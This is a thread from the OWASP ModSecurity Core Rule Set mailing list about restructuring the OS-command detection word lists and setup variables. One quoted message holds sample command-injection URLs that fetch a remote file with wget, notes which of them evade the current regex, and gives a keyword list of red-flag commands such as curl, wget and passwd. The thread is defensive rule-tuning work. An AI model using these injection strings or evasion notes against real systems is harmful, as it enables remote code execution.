On Mon, Feb 22, 2016 at 07:49:13PM +0000, Chaim Sanders wrote: > Hey christian, > I added a v3.0.0-rc1 development tag. Do you want a special v3.0.0-rc1 > Paranoid tag?
Sure, why not. Might come in handy. Christian > > On 2/22/16, 2:47 PM, "Christian Folini" <christian.fol...@netnea.com> > wrote: > > >Chaim, > > > >That issues idea makes sense. I second that. > > > >Cheers, > > > >Christian > > > >On Mon, Feb 22, 2016 at 02:41:38PM +0000, Chaim Sanders wrote: > >> I think a todo file or issues in the github are in order. I’m more in > >> favor of the second. I can make a custom label for each specific area if > >> we need. I think that will perform better because we can assign things > >>and > >> track people progress etc. thoughts? > >> > >> On 2/18/16, 4:49 AM, > >> "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of > >> Christian Folini" > >><owasp-modsecurity-core-rule-set-boun...@lists.owasp.org > >> on behalf of christian.fol...@netnea.com> wrote: > >> > >> >Hello, > >> > > >> >That is a smart move. It allows us to eliminate all "file splitting" > >> >tasks out of the paranoia mode project. Simplifies things a lot. > >> > > >> >@Chaim want to start a TODO file in the top folder of the CRS? > >> > > >> >Ahoj, > >> > > >> >Christian > >> > > >> >On Wed, Feb 17, 2016 at 09:05:52PM +0100, Franziska Buehler wrote: > >> >> Hi, > >> >> > >> >> I also like the idea of splitting the file. Perhaps we even need > >> >>multiple files. > >> >> Walter has a lot of good thougts! > >> >> This task doesn't seem to be very easy and some testing will be > >> >>necessary. > >> >> So I think we have to decide later, outside of this little project, > >> >> and we should move on to the first pull request. > >> >> > >> >> Regards, > >> >> Franziska > >> >> > >> >> 2016-02-15 5:07 GMT+01:00 Chaim Sanders <csand...@trustwave.com>: > >> >> > For the record I think this is a good idea but perhaps outside the > >> >>scope a > >> >> > bit of the initial RC release. Christian, I suggest we add this to > >>the > >> >> > To-do for 3.1. Thoughts? > >> >> > > >> >> > On 2/12/16, 4:17 PM, > >> >> > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf > >>of > >> >> > Christian Folini" > >> >><owasp-modsecurity-core-rule-set-boun...@lists.owasp.org > >> >> > on behalf of christian.fol...@netnea.com> wrote: > >> >> > > >> >> >>Hi there, > >> >> >> > >> >> >>There has not been any additional feedback in this thread, but I > >>think > >> >> >>the question is not settled as of this writing. > >> >> >> > >> >> >>Thoughts? > >> >> >> > >> >> >>Regs, > >> >> >> > >> >> >>Christian > >> >> >> > >> >> >>On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote: > >> >> >>> Hi there, > >> >> >>> > >> >> >>> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: > >> >> >>> > I like the idea of splitting the file. > >> >> >>> > >> >> >>> Cool. > >> >> >>> > >> >> >>> > I agree some of the words in os-commands.data seem rather > >> >>paranoid. > >> >> >>>Words like "choice", "help", "now² seem of low value and are > >>common > >> >>in > >> >> >>>natural text. Also, the large number of Unix-only environments > >>could > >> >> >>>skip Windows related commands. It¹s hard for users to modify these > >> >>lists > >> >> >>>as you¹d have to hack the CRS, and these huge collections are to > >> >> >>>maintain anyhow, so I agree we need granularity. > >> >> >>> > >> >> >>> Good point. > >> >> >>> > >> >> >>> > The rule has some regexp magic to prevent false positives, but > >>the > >> >> >>>balance is not a complete success in my opinion. For instance, the > >> >> >>>following URLs don't trigger in CRSv3: > >> >> >>> > http://vuln/?cmd=wget%20http://example.com/blah.txt > >> >> >>> > http://vuln/?cmd=sh%20blah.txt > >> >> >>> > > >> >> >>> > So it's not as strong as you would want either to prevent some > >> >>common > >> >> >>>RCE. > >> >> >>> > Something like > >>http://vuln/?cmd=Wget%20http://example.com/;%20ecHo > >> >> >>>does trigger it. > >> >> >>> > >> >> >>> I see. Good observations. > >> >> >>> > >> >> >>> > 1) I think that a user should check their desired platforms in > >>the > >> >> >>>setup conf. In fact, this would be great to do anyway in the > >>initial > >> >> >>>3.0.0 release even if we DON'T look at it in any rule yet. > >>Specifying > >> >> >>>platform types will pave the way for reducing false positives and > >> >>false > >> >> >>>negatives by skipping unnecessary checks and being more strict on > >>the > >> >> >>>right platforms. So we could start by listing these platforms in > >>the > >> >> >>>existing rule in the setup conf. Example: > >> >> >>> > > >> >> >>> > SecAction \ > >> >> >>> > "id:'900024', \ > >> >> >>> > phase:1, \ > >> >> >>> > t:none, \ > >> >> >>> > setvar:tx.unix=1, \ > >> >> >>> > setvar:tx.windows=1, \ > >> >> >>> > setvar:tx.java=1, \ > >> >> >>> > setvar:tx.php=1, \ > >> >> >>> > >> >> >>> That makes a lot of sense. At first sight. > >> >> >>> > >> >> >>> I think that a default install should come with these rulesets > >> >> >>> all enabled and a sysadmin can then switch them of if we is aware > >> >>that > >> >> >>> there is no php in his service. > >> >> >>> > >> >> >>> So given the following two scenarios > >> >> >>> #1 - Newbie sysadmin installs ModSec and runs into a lot of false > >> >> >>>positives > >> >> >>> because he does not disable unneeded rulesets > >> >> >>> #2 - Newbie sysadmin installs ModSec and is p0wned because he > >>does > >> >>not > >> >> >>>enable > >> >> >>> the php protection > >> >> >>> I strongly favour #1. > >> >> >>> > >> >> >>> A vanilla install of the core rules should give you a full > >>coverage > >> >>for > >> >> >>>all > >> >> >>> types of services and a decent security level. Reducing false > >> >>positives > >> >> >>>by > >> >> >>> omitting certain rules (ideally rules which provide no value for > >> >>your > >> >> >>>setup) > >> >> >>> is the very idea of tuning. > >> >> >>> Reducing the initial number of false positives by moving certain > >> >>rules > >> >> >>> with a worse relationsship between added security and false > >> >>positives, > >> >> >>> that is the idea of the paranoia mode. > >> >> >>> > >> >> >>> Chaim stated in a different message, that the rules are now > >> >>organised > >> >> >>> into files aimed at certain environments. So switching them off > >>is > >> >> >>> fairly easy. And there are the tags on top of it. > >> >> >>> So you have tag:'language-PHP' and setting SecRuleRemoveByTag > >>will > >> >> >>> disable them all very easily. > >> >> >>> > >> >> >>> So I think, we do not need these variables. > >> >> >>> > >> >> >>> > (By the way: I think it¹s unfortunate that a user has to use > >> >>value 1 > >> >> >>>to enable a check. An undefined variable will mean that the CRS > >>will > >> >> >>>skip some rules. This makes it dangerous to introduce a new > >>variable > >> >>in > >> >> >>>the CRS later; all existing installations MUST then add this > >> >>variable to > >> >> >>>their setup rule immediately, or suffer from reduced security. > >>It¹s > >> >> >>>better to use a scheme that defaults to ³on². A convention like > >> >> >>>³tx.disable_mysql=1² would be user unfriendly and error-prone. > >>But we > >> >> >>>could check for an explicit ³off² string, e.g. > >> >>³setvar:tx.mysql=off². If > >> >> >>>it¹s not ³off² then assume that the user DOES want the check. I > >>think > >> >> >>>it¹s important to get this right in 3.0.0, it will be more painful > >> >>to do > >> >> >>>it later.) > >> >> >>> > >> >> >>> That's a very good observation. I had a similar idea once. > >> >> >>> > >> >> >>> In programming, you usually start with a default value and then > >> >> >>> the users overrides the default value. If he wants to. > >> >> >>> > >> >> >>> I am not sure how modsecurity_crs_10_setup.conf.example is going > >>to > >> >> >>> be transformed to work seamlessly with 3.0. But this makes the > >> >> >>> setting of default values a bit tricky. > >> >> >>> > >> >> >>> Maybe a file REQUEST-02-DEFAULTS.conf could set default values > >> >> >>> if certain variables are not set. > >> >> >>> > >> >> >>> > 2) Separate the words into multiple lists: > >> >> >>> > os-commands-critical.data (absolute red flag list: "curl", > >> >>"passwd", > >> >> >>>"sh", "uname", "wget" etc.) > >> >> >>> > os-commands-paranoid.data (absolute low value, but high FP > >> >>natural > >> >> >>>words like "choice") > >> >> >>> > os-commands-windows.data (all Windows commands) > >> >> >>> > os-commands-common.data (all other commands) > >> >> >>> > >> >> >>> Makes some sense. Too granular is difficult and you mix various > >> >> >>> grouping criteria (criticality, paranoia, os), which makes is a > >> >> >>> bit hard to follow. > >> >> >>> > >> >> >>> Other opinions? > >> >> >>> > >> >> >>> > 3) Review the current regexp against some test data and CRSv2 > >>to > >> >>make > >> >> >>>it more sensitive > >> >> >>> > >> >> >>> Good plan. Maybe this could be done in a separate pull request. > >> >> >>> I am afraid to overload the paranoia mode pull request... > >> >> >>> > >> >> >>> Ahoj, > >> >> >>> > >> >> >>> Christian > >> >> >>> > >> >> >>> > >> >> >>> -- > >> >> >>> In war you will generally find that the enemy has at any time > >> >> >>> three courses of action open to him. Of those three, he will > >> >> >>> invariably choose the fourth. > >> >> >>> -- Helmuth Von Moltke > >> >> >>> _______________________________________________ > >> >> >>> Owasp-modsecurity-core-rule-set mailing list > >> >> >>> Owasp-modsecurity-core-rule-set@lists.owasp.org > >> >> >>> > >> >> > >> > >>>>>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0 > >>>>>>>me > >> >>>>>OIn > >> >> > >> > >>>>>>>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistin > >>>>>>>fo > >> >>>>>%2f > >> >> >>>owasp-modsecurity-core-rule-set > >> >> >> > >> >> >>-- > >> >> >>mailto:christian.fol...@netnea.com > >> >> > >> > >>>>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0m > >>>>>>eO > >> >>>>Inu > >> >> >>N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech > >> >> >>twitter: @ChrFolini > >> >> >>_______________________________________________ > >> >> >>Owasp-modsecurity-core-rule-set mailing list > >> >> >>Owasp-modsecurity-core-rule-set@lists.owasp.org > >> >> > >> > >>>>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0m > >>>>>>eO > >> >>>>Inu > >> >> > >> > >>>>>>YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo > >>>>>>%2 > >> >>>>fow > >> >> >>asp-modsecurity-core-rule-set > >> >> > > >> >> > > >> >> > ________________________________ > >> >> > > >> >> > This transmission may contain information that is privileged, > >> >>confidential, and/or exempt from disclosure under applicable law. If > >>you > >> >>are not the intended recipient, you are hereby notified that any > >> >>disclosure, copying, distribution, or use of the information contained > >> >>herein (including any reliance thereon) is strictly prohibited. If you > >> >>received this transmission in error, please immediately contact the > >> >>sender and destroy the material in its entirety, whether in electronic > >> >>or hard copy format. > >> >> > _______________________________________________ > >> >> > Owasp-modsecurity-core-rule-set mailing list > >> >> > Owasp-modsecurity-core-rule-set@lists.owasp.org > >> >> > > >> > >>>>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyX > >>>>mK > >> > >>>>ENdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo% > >>>>2f > >> >>owasp-modsecurity-core-rule-set > >> >> _______________________________________________ > >> >> Owasp-modsecurity-core-rule-set mailing list > >> >> Owasp-modsecurity-core-rule-set@lists.owasp.org > >> >> > >> > >>>>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyX > >>>>mK > >> > >>>>ENdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo% > >>>>2f > >> >>owasp-modsecurity-core-rule-set > >> > > >> >-- > >> >mailto:christian.fol...@netnea.com > >> > >>>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXm > >>>KE > >> >YIczjUmg&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech > >> >twitter: @ChrFolini > >> >_______________________________________________ > >> >Owasp-modsecurity-core-rule-set mailing list > >> >Owasp-modsecurity-core-rule-set@lists.owasp.org > >> > >>>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXm > >>>KE > >> > >>>NdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f > >>>ow > >> >asp-modsecurity-core-rule-set > >> > >> > >> ________________________________ > >> > >> This transmission may contain information that is privileged, > >>confidential, and/or exempt from disclosure under applicable law. If you > >>are not the intended recipient, you are hereby notified that any > >>disclosure, copying, distribution, or use of the information contained > >>herein (including any reliance thereon) is strictly prohibited. If you > >>received this transmission in error, please immediately contact the > >>sender and destroy the material in its entirety, whether in electronic > >>or hard copy format. > > > ________________________________ > > This transmission may contain information that is privileged, confidential, > and/or exempt from disclosure under applicable law. If you are not the > intended recipient, you are hereby notified that any disclosure, copying, > distribution, or use of the information contained herein (including any > reliance thereon) is strictly prohibited. If you received this transmission > in error, please immediately contact the sender and destroy the material in > its entirety, whether in electronic or hard copy format. _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
